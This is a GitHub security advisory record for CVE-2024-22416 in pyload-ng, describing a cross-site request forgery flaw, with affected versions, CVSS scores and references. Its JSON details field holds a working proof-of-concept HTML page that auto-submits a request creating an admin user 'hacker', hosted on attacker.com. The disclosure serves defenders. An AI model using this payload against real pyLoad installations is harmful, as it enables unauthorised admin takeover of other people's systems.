ghsa-pgpj-v85q-h5fm
Vulnerability from github
9.4 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Summary
The pyload
API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict
, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC
We host the following HTML file on an attacker-controlled server. ```html
```
If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html
, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22
, adding a new administrator to the pyload
application.
The attacker can now authenticate as this newly created administrator user with the username hacker
and password hacker
.
Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "pyload-ng" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.5.0b3.dev78" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-22416" ], "database_specific": { "cwe_ids": [ "CWE-352" ], "github_reviewed": true, "github_reviewed_at": "2024-01-19T15:27:12Z", "nvd_published_at": "2024-01-18T00:15:38Z", "severity": "CRITICAL" }, "details": "### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator\u0027s browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n\u003chtml\u003e\n \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n \u003cbody\u003e\n \u003cform action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\"\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n", "id": "GHSA-pgpj-v85q-h5fm", "modified": "2024-10-21T21:06:20Z", "published": "2024-01-19T15:27:12Z", "references": [ { "type": "WEB", "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22416" }, { "type": "WEB", "url": "https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e" }, { "type": "WEB", "url": "https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc" }, { "type": "PACKAGE", "url": "https://github.com/pyload/pyload" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H", "type": "CVSS_V4" } ], "summary": "Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.